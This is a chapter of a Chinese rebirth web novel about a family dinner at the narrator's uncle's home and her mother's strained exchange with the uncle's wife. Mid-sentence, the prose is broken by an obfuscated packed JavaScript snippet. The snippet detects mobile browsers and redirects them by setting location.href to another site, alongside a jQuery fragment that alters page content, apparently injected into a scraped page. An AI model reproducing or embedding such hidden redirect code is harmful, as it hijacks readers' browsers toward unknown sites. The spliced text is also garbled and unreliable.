我们回来的那天,正赶上一家子人准备吃饭,从巷口走进来,我看到我外婆站在厨房和客厅挨着的窗户边。 我于是走了过去,用巴掌拍了拍玻璃,这微小的,击打透明窗面的动静也让外婆对上了我的目光。 我叫她:“姥。” 我外婆轻轻说:“诶,你来了呀,妈妈呢。” 我答:“王艳霞在后边呢,她给你买了栗子。” 就像我吃到鱼冻就会想妈妈,长大后只要吃到栗子,我就会想外婆。 前面有说过我外婆的吧,现在正式介绍一下她。 不同于我妈,我外婆其实算是一个脾气很好的老太太了,一直以来我都不喜欢叫她一声外婆,而是喜欢叫她姥姥。因为在我眼中她虽然有着很多老年人的封建一面,却从来不属于我心目中的外人。可惜她也很命苦,一辈子碰到过的坏事一时半会儿也根本讲不完,还是放在后边慢慢说吧。 因为我外婆特地在等,我和我妈带着大包小包的就赶快进来了,王艳霞今天披着她的复古大波浪,额头上有纹眉毛留下的两道青色痕迹,穿了条花裙的她看上去像个花俏的大扑棱蛾子,黑色小凉鞋踏踏进门后,伸手往桌上放了几个熟食凉菜,又让我懂事点去给厨房里的舅妈搭把手。结果,我舅妈“砰”地一下从里头关上了门。 油烟机发出“轰隆隆”声,可它在响,也救不了我此刻的尴尬。 这不是我的家,我被关外边了也正常,只能有点习惯性地看了一眼我妈的脸色。 王艳霞很从容地解开三个熟菜袋子的扣,取出塑料袋装的三瓶啤酒,把它们不轻不重地放在餐桌上。 “爱萍,别累着啊,你让娟娟进去帮你干点活。” 舅妈还在卖力地炒着菜,她的脸上都是疲惫的油烟和扯不出来热情的冷漠,她还很生分地笑了笑,偷瞪了一眼舅舅手上的烟头说:“不要了,大姑子,你们回来就是客人,楼上的客房我也给你们收拾好了,马上就能吃饭了娟娟,小东,你把碗拿出去给大姑子和妈吧。” 舅妈想把碗筷给我舅舅,抢在前面接住她的,又是王艳霞横叉一脚的胳膊。 然后我妈用一个眼刀让我舅舅拿着香烟靠边站,我舅舅缩着脖子立刻逃开了,他到外婆的沙发上坐下,磕起了一把花生米。 王艳霞就继续站在厨房看着锅灶上的烟火,她也不是很着急,和舅妈各自面带笑容地对视一眼。 王艳霞说:“你烧的糖醋鲈鱼啊,这个季节最贵了。” 舅妈:“出锅前再勾芡一下就行了,娟娟去年春节不是说我烧的鲈鱼比较好吃吗?” 我就猜到大家会说场面话,但没想到王艳霞还对舅妈说起了难得一见的恭维话。 王艳霞:“还是舅妈家的菜好吃啊,李娟洁,是不是,我的手艺都不如舅妈一丁点……” 舅妈:“哪有,我也就这一个鱼烧得好,其他都不如大姑子你。” 王艳霞:“那真是谢谢了,弟妹,我回个娘家害得你受累了。” 舅妈:“我不累,不累的,真不累。” 王艳霞:“你赶快坐下休息吧,别成天给婆家当牛做马,爱萍。” 我看到王艳霞从舅妈通红通红的,常年需要洗碗的手掌中接过了碗筷,掌心揉了揉舅妈的手背上。 “诶。”舅妈点点头,仓促收回了手。 我舅舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484034|185441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对这场面都没敢吭声。 可谁都不感到特别意外,大家的内心只是多了一些对姑嫂关系的刻板印象,看出了很多女性的勾心斗角。 本来在我老家,正常的娘家人是不会让我们再住回来的。舅舅和舅妈也因为这件事,一天天在我们面前闹矛盾。有一句老话说得好,嫁出去的女儿,就是泼出去的水,我妈是没有再回头找原生家庭反哺的道理,但她目前没有一个男人在外头护着,谁未来都得欺负我们这对没依靠的娘俩。刚好我舅舅比较要面子,就因为王艳霞的一个电话,舅舅对他的亲姐姐心软了下来,远嫁过来的舅妈……倒成了里外不是人。 我上次说过的,重生一次,以普通人的智商来说还是大差不差。 生活毕竟不是小说啊。 但是我觉得有机会还是可以去查漏补缺,发现一些上辈子没注意到的细节的,比如发现我妈的内心世界,比如发现舅妈在婆家也不容易。 要对所有善待过自己的细节,发出感恩遇见的声音,这才是李娟洁穿越时空的意义。 唉,但这事整的,我也不知道上次那个破坏再婚的举动到底该不该那么做了? 可有的时候,失控真的是一瞬间,是非常非常短暂的一瞬间。 就像车子撞击上林美娟身体时。 作为手拿剧本的那个人,我一下子珍惜起了所有人。 比分离更疼的是死别啊。 没有穿越时空的前提,我一定会想是不是闭上眼睛忍一忍,在这个本就不存在女性公平的世界里更加舒服一点,但我都从32岁重回14岁了,为什么我不能改变一下? 改变我自己,像我日记本里写的那样成功救回我的林美娟,也是在这一瞬间失控的念头。 李娟洁,跑向她吧,别停下。 现在,时间线已经闹成这样,只能先走一步看一步,说起来,目前的第一步应该是找林美娟,但我和她的友情这一次到底要怎么展开呢? 哦,对了,今天就是我去学校的日子了。 出门是我妈一个人送的我。 我们走出舅舅家时,外婆又模糊地立在窗边。我舅舅家的这个窗户,要是不出意外将会陪伴这一次的我们走过几个四季。 王艳霞提了一个皮包,当她把门口的红色自行车推上,我立刻像个大累赘一样背着沉甸甸的书包挤压上了后车凳,又收起腿开口来了一句“妈,走吧,我坐好了。” 但我妈没有立刻就走,她回过头,检查了一下我在后边坐的到底安不安全,那种眼神,完全是只有妈妈才能拥有。 这时,王艳霞对外婆催促地招了招手。 “妈,我和娟娟走了,你快回家吧。” 时光一刹那在每个人的生命中柔软。所有的过去,似乎也不重要了。 云淡淡,水清清,我的下一程路,在我妈妈清脆的车链条转动声里。 哒,哒。 哒。